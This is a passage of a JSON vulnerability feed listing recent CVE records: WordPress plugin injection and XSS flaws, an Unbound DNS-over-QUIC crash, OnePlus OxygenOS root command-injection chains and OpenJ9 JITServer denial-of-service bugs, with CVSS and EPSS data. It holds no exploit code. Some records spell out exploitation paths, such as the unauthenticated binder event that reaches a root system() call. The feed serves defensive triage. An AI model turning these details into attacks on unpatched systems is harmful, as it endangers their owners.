EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110884&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110884, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110370","cveId":"CVE-2026-110370","aliases":[],"kind":"vulnerability","title":"Deserialization of Untrusted Data vulnerability in GS Plugins GS Pins for Pinterest gs-pinterest-portfolio allows Object Injection.This issue affects GS Pins for Pinterest: from...","summary":"Deserialization of Untrusted Data vulnerability in GS Plugins GS Pins for Pinterest gs-pinterest-portfolio allows Object Injection.This issue affects GS Pins for Pinterest: from n/a through 1.9.2.","detail":"Deserialization of Untrusted Data vulnerability in GS Plugins GS Pins for Pinterest gs-pinterest-portfolio allows Object Injection.This issue affects GS Pins for Pinterest: from n/a through 1.9.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T10:16:55.380Z","updatedAt":"2026-10-21T14:26:26.470Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110370","asOf":"2026-10-21T14:26:26.470Z"},"epss":{"probability":0.00404,"percentile":0.34346,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110370&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110370","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110370","type":"primary","publishedAt":"2026-10-21T10:16:55.380Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110370&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110370, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110369","cveId":"CVE-2026-110369","aliases":[],"kind":"vulnerability","title":"Deserialization of Untrusted Data vulnerability in GS Plugins WordPress Team Members – GS Plugins gs-team-members allows Object Injection.This issue affects WordPress Team Members...","summary":"Deserialization of Untrusted Data vulnerability in GS Plugins WordPress Team Members – GS Plugins gs-team-members allows Object Injection.This issue affects WordPress Team Members – GS Plugins: from n/a through 2.8.2.","detail":"Deserialization of Untrusted Data vulnerability in GS Plugins WordPress Team Members – GS Plugins gs-team-members allows Object Injection.This issue affects WordPress Team Members – GS Plugins: from n/a through 2.8.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T10:16:55.200Z","updatedAt":"2026-10-21T14:26:26.470Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110369","asOf":"2026-10-21T14:26:26.470Z"},"epss":{"probability":0.00404,"percentile":0.34346,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110369&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110369","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110369","type":"primary","publishedAt":"2026-10-21T10:16:55.200Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110369&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110369, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97206","cveId":"CVE-2026-97206","aliases":[],"kind":"vulnerability","title":"NLnet Labs Unbound, 1.22.0 up to and including version 1.26.1, contains a DNS-over-QUIC (DoQ) lifetime bug reachable by a remote DoQ client under multi-threaded operation.","summary":"NLnet Labs Unbound, 1.22.0 up to and including version 1.26.1, contains a DNS-over-QUIC (DoQ) lifetime bug reachable by a remote DoQ client under multi-threaded operation. A client-triggered QUIC path migration can enter stream/connection cleanup while a mesh reply still retains a pointer to the DoQ stream. Cleanup frees the DoQ stream and when the pending mesh reply later completes it dereferences a stale pointer leading to a crash.","detail":"NLnet Labs Unbound, 1.22.0 up to and including version 1.26.1, contains a DNS-over-QUIC (DoQ) lifetime bug reachable by a remote DoQ client under multi-threaded operation. A client-triggered QUIC path migration can enter stream/connection cleanup while a mesh reply still retains a pointer to the DoQ stream. Cleanup frees the DoQ stream and when the pending mesh reply later completes it dereferences a stale pointer leading to a crash.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T09:17:08.473Z","updatedAt":"2026-10-22T15:22:40.700Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97206","asOf":"2026-10-22T15:22:40.700Z"},"epss":{"probability":0.00334,"percentile":0.26468,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97206&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97206","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97206","type":"primary","publishedAt":"2026-10-21T09:17:08.473Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97206&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97206, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85683","cveId":"CVE-2026-85683","aliases":[],"kind":"vulnerability","title":"The Jane Menu WordPress plugin before 1.5.1 does not have any capability or nonce checks on one of its form handlers, which is reachable by unauthenticated users, allowing them to...","summary":"The Jane Menu WordPress plugin before 1.5.1 does not have any capability or nonce checks on one of its form handlers, which is reachable by unauthenticated users, allowing them to bind any published page to a remote document of their choosing. The plugin then fetches that document and outputs its head and body into the page without escaping, so an unauthenticated attacker can run arbitrary JavaScript in the browser of any visitor to that page, including an administrator.","detail":"The Jane Menu WordPress plugin before 1.5.1 does not have any capability or nonce checks on one of its form handlers, which is reachable by unauthenticated users, allowing them to bind any published page to a remote document of their choosing. The plugin then fetches that document and outputs its head and body into the page without escaping, so an unauthenticated attacker can run arbitrary JavaScript in the browser of any visitor to that page, including an administrator.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T09:17:08.057Z","updatedAt":"2026-10-21T18:37:38.700Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85683","asOf":"2026-10-21T18:37:38.700Z"},"epss":{"probability":0.00359,"percentile":0.29363,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85683&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85683","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85683","type":"primary","publishedAt":"2026-10-21T09:17:08.057Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85683&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85683, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70387","cveId":"CVE-2026-70387","aliases":[],"kind":"vulnerability","title":"Exposed dangerous method or function and Incorrect Authorization vulnerability in OnePlus OxygenOS on Android.","summary":"Exposed dangerous method or function and Incorrect Authorization vulnerability in OnePlus OxygenOS on Android. The olc2 logging HAL exposes a binder method that fork()'s and calls execl(\"/vendor/bin/sh\", \"sh\", \"-c\", cmd, NULL) with a caller-supplied command string. The only authorization check is getCallingUid() == 0. Because SELinux policy grants binder access to this HAL to a wide client attribute, any uid-0 process in any of those domains (including dumpstate, which is reachable from an unprivileged app via Vulnerability 1) obtains arbitrary command execution. The spawned shell lands in u:r:vendor_qti_init_shell:s0 SELinux context via a policy type_transition, a domain holding all Linux capabilities. This issue affects OxygenOS: from 16.1.0 before 16.1.10.500, from 16.0.0 before 16.0.5.1200, and from 15.0.0 before 15.0.0.2000.","detail":"Exposed dangerous method or function and Incorrect Authorization vulnerability in OnePlus OxygenOS on Android. The olc2 logging HAL exposes a binder method that fork()'s and calls execl(\"/vendor/bin/sh\", \"sh\", \"-c\", cmd, NULL) with a caller-supplied command string. The only authorization check is getCallingUid() == 0. Because SELinux policy grants binder access to this HAL to a wide client attribute, any uid-0 process in any of those domains (including dumpstate, which is reachable from an unprivileged app via Vulnerability 1) obtains arbitrary command execution. The spawned shell lands in u:r:vendor_qti_init_shell:s0 SELinux context via a policy type_transition, a domain holding all Linux capabilities. This issue affects OxygenOS: from 16.1.0 before 16.1.10.500, from 16.0.0 before 16.0.5.1200, and from 15.0.0 before 15.0.0.2000.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T09:17:07.930Z","updatedAt":"2026-10-22T16:58:51.997Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Android"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70387","asOf":"2026-10-22T16:58:51.997Z"},"epss":{"probability":0.00308,"percentile":0.23359,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70387&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70387","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70387","type":"primary","publishedAt":"2026-10-21T09:17:07.930Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70387&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70387, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70386","cveId":"CVE-2026-70386","aliases":[],"kind":"vulnerability","title":"Improper neutralization of special elements used in an OS command ('OS command injection') and Missing Authorization vulnerability in OnePlus OxygenOS on Android.","summary":"Improper neutralization of special elements used in an OS command ('OS command injection') and Missing Authorization vulnerability in OnePlus OxygenOS on Android. Any locally installed Android application, with no permissions declared \nand no user interaction beyond launching it, can execute arbitrary shell\n commands as uid 0 in the u:r:dumpstate:s0 SELinux domain. Two defects \ncombine: (a) OnePlus's atlasservice binder interface accepts \nsetEvent(String8 name, String8 value) from any caller without \nauthorization, and (b) one event handler \n(OplusAtlasLogWriter::handleEvent, matching event name \natlas_event_multimedia_audio_dumpsys) copies the caller-supplied value \ninto the system property oplus.audio.dumpinfo.type and starts the root \ninit service audiodumpinfo, which passes that property value unsanitized\n to system(). This issue affects OxygenOS: from 16.1.0 before 16.1.10.500, from 16.0.0 before 16.0.5.1200, and from 15.0.0 before 15.0.0.2000.","detail":"Improper neutralization of special elements used in an OS command ('OS command injection') and Missing Authorization vulnerability in OnePlus OxygenOS on Android. Any locally installed Android application, with no permissions declared \nand no user interaction beyond launching it, can execute arbitrary shell\n commands as uid 0 in the u:r:dumpstate:s0 SELinux domain. Two defects \ncombine: (a) OnePlus's atlasservice binder interface accepts \nsetEvent(String8 name, String8 value) from any caller without \nauthorization, and (b) one event handler \n(OplusAtlasLogWriter::handleEvent, matching event name \natlas_event_multimedia_audio_dumpsys) copies the caller-supplied value \ninto the system property oplus.audio.dumpinfo.type and starts the root \ninit service audiodumpinfo, which passes that property value unsanitized\n to system(). This issue affects OxygenOS: from 16.1.0 before 16.1.10.500, from 16.0.0 before 16.0.5.1200, and from 15.0.0 before 15.0.0.2000.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T09:17:07.787Z","updatedAt":"2026-10-22T16:58:51.997Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Android"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70386","asOf":"2026-10-22T16:58:51.997Z"},"epss":{"probability":0.01221,"percentile":0.68488,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70386&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70386","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70386","type":"primary","publishedAt":"2026-10-21T09:17:07.787Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70386&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70386, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110938","cveId":"CVE-2026-110938","aliases":[],"kind":"vulnerability","title":"In Eclipse OpenJ9 versions up to 0.63.0, the JITServer component is vulnerable to denial of service due to improper boundary checks during protocol message and reply handling.","summary":"In Eclipse OpenJ9 versions up to 0.63.0, the JITServer component is vulnerable to denial of service due to improper boundary checks during protocol message and reply handling. An unauthenticated remote attacker or malicious JITServer can transmit malformed network payloads that cause out-of-bounds heap reads, immediately crashing the JITServer daemon or client JVM process via a segmentation fault (SIGSEGV).","detail":"In Eclipse OpenJ9 versions up to 0.63.0, the JITServer component is vulnerable to denial of service due to improper boundary checks during protocol message and reply handling. An unauthenticated remote attacker or malicious JITServer can transmit malformed network payloads that cause out-of-bounds heap reads, immediately crashing the JITServer daemon or client JVM process via a segmentation fault (SIGSEGV).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T09:17:06.717Z","updatedAt":"2026-10-26T18:17:35.460Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110938","asOf":"2026-10-26T18:17:35.460Z"},"epss":{"probability":0.00415,"percentile":0.35492,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110938&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110938","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110938","type":"primary","publishedAt":"2026-10-21T09:17:06.717Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110938&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110938, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111075","cveId":"CVE-2026-111075","aliases":[],"kind":"vulnerability","title":"In Eclipse OpenJ9 versions prior to 0.63.0, the JITServer component fails to perform cross-field validation on attacker-controlled `_size`, `_paddingSize`, and `_dataOffset`...","summary":"In Eclipse OpenJ9 versions prior to 0.63.0, the JITServer component fails to perform cross-field validation on attacker-controlled `_size`, `_paddingSize`, and `_dataOffset` fields during `DataDescriptor` message deserialization. An unauthenticated remote attacker can send a crafted network payload that triggers an unsigned integer underflow in `DataDescriptor::getPayloadSize()` and `DataDescriptor::getNextDescriptor()`. This results in an out-of-bounds heap read and an immediate process crash (SIGSEGV), causing a denial of service.","detail":"In Eclipse OpenJ9 versions prior to 0.63.0, the JITServer component fails to perform cross-field validation on attacker-controlled `_size`, `_paddingSize`, and `_dataOffset` fields during `DataDescriptor` message deserialization. An unauthenticated remote attacker can send a crafted network payload that triggers an unsigned integer underflow in `DataDescriptor::getPayloadSize()` and `DataDescriptor::getNextDescriptor()`. This results in an out-of-bounds heap read and an immediate process crash (SIGSEGV), causing a denial of service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T08:16:42.960Z","updatedAt":"2026-10-26T18:17:35.790Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111075","asOf":"2026-10-26T18:17:35.790Z"},"epss":{"probability":0.00372,"percentile":0.30858,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111075&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111075","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111075","type":"primary","publishedAt":"2026-10-21T08:16:42.960Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111075&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111075, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111074","cveId":"CVE-2026-111074","aliases":[],"kind":"vulnerability","title":"In Eclipse OpenJ9 versions prior to 0.63.0, the JITServer component is vulnerable to a pre-authentication remote denial of service.","summary":"In Eclipse OpenJ9 versions prior to 0.63.0, the JITServer component is vulnerable to a pre-authentication remote denial of service. When processing the initial 4-byte length field of an incoming TCP connection, an integer overflow in `MessageBuffer::computeRequiredCapacity()` causes the receiving compilation worker thread to enter an infinite loop consuming ~100% CPU. An unauthenticated remote attacker can exploit this by opening a small number of crafted TCP connections to exhaust the entire worker thread pool, silently halting compilation services for all connected client JVMs.","detail":"In Eclipse OpenJ9 versions prior to 0.63.0, the JITServer component is vulnerable to a pre-authentication remote denial of service. When processing the initial 4-byte length field of an incoming TCP connection, an integer overflow in `MessageBuffer::computeRequiredCapacity()` causes the receiving compilation worker thread to enter an infinite loop consuming ~100% CPU. An unauthenticated remote attacker can exploit this by opening a small number of crafted TCP connections to exhaust the entire worker thread pool, silently halting compilation services for all connected client JVMs.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T08:16:42.810Z","updatedAt":"2026-10-26T18:17:35.633Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111074","asOf":"2026-10-26T18:17:35.633Z"},"epss":{"probability":0.00421,"percentile":0.36188,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111074&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111074","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111074","type":"primary","publishedAt":"2026-10-21T08:16:42.810Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111074&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111074, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110899","cveId":"CVE-2026-110899","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Kevin Stover Ninja Forms ninja-forms allows Stored XSS.This issue affects...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Kevin Stover Ninja Forms ninja-forms allows Stored XSS.This issue affects Ninja Forms: from n/a through 